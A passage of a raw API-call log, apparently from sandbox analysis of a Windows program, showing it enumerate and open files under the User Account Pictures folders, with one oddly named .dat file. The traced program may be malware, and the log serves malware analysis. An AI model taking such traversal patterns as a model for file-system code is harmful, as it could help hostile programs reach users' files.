ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 0 [0091.804] GetLastError () returned 0x12 [0091.804] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9180 [0091.804] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.804] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.805] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29423840, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz.dat", cAlternateFileName="")) returned 1 [0091.805] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default Pictures", cAlternateFileName="")) returned 1 [0091.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a358 [0091.805] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.805] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0091.806] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.806] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.806] NtClose (Handle=0x15c) returned 0x0 [0091.807] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a358) returned 1 [0091.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb6b8 [0091.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a358 [0091.807] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a460 [0091.808] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0091.810] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.811] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae24f474, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae24f474, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xda0a8861, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile10.bmp", cAlternateFileName="")) returned 1 [0091.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a568 [0091.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb6b8) returned 1 [0091.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7818 [0091.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a670 [0091.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.814] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae24f474, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae24f474, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb5a2927, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile11.bmp", cAlternateFileName="")) returned 1 [0091.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7838 [0091.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a778 [0091.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.816] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2755d1, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2755d1, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb6d3417, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile12.bmp", cAlternateFileName="")) returned 1 [0091.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7858 [0091.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135aa90 [0091.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.820] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae29b72e, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae29b72e, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb76b98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xbeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile13.bmp", cAlternateFileName="")) returned 1 [0091.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7878 [0091.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135aca0 [0091.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.822] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2e79e8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2e79e8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb82a065, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile14.bmp", cAlternateFileName="")) returned 1 [0091.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.823] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.823] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7898 [0091.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135ab98 [0091.824] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.824] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2e79e8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2e79e8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdbb95fd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile15.bmp", cAlternateFileName="")) returned 1 [0091.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f78b8 [0091.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135c140 [0091.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9b80) returned 0x135c9e8 [0091.827] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae30db45, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae30db45, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdca9c9ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile16.bmp", cAlternateFileName="")) returned 1 [0091.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f78d8 [0091.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135c248 [0091.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.829] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae333ca2, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae333ca2, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc3f8f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile17.bmp", cAlternateFileName="")) returned 1 [0091.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f78f8 [0091.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135c350 [0091.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.831] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae333ca2, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae333ca2, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc65a55, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile18.bmp", cAlternateFileName="")) returned 1 [0091.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7918 [0091.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135c458 [0091.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.833] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae359dff, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae359dff, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc8bbb3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile19.bmp", cAlternateFileName="")) returned 1 [0091.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7938 [0091.835] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae37ff5c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae37ff5c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdccb1d11, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile20.bmp", cAlternateFileName="")) returned 1 [0091.835] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3a60b9, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3a60b9, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd069f3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile21.bmp", cAlternateFileName="")) returned 1 [0091.835] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3a60b9, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3a60b9, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd09009d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile22.bmp", cAlternateFileName="")) returned 1 [0091.835] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3cc216, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3cc216, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd0b61fb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile23.bmp", cAlternateFileName="")) returned 1 [0091.835] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd232fa7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile24.bmp", cAlternateFileName="")) returned 1 [0091.835] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd259105, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile25.bmp", cAlternateFileName="")) returned 1 [0091.836] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd27f263, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile26.bmp", cAlternateFileName="")) returned 1 [0091.836] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4184d0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4184d0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd2a53c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile27.bmp", cAlternateFileName="")) returned 1 [0091.836] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae43e62d, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae43e62d, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3177db, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile28.bmp", cAlternateFileName="")) returned 1 [0091.836] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae43e62d, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae43e62d, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd33d939, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile29.bmp", cAlternateFileName="")) returned 1 [0091.837] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae46478a, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae46478a, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3fc00f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile30.bmp", cAlternateFileName="")) returned 1 [0091.837] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae48a8e7, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae48a8e7, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3fc00f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile31.bmp", cAlternateFileName="")) returned 1 [0091.837] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae48a8e7, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae48a8e7, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd42216d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile32.bmp", cAlternateFileName="")) returned 1 [0091.837] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, 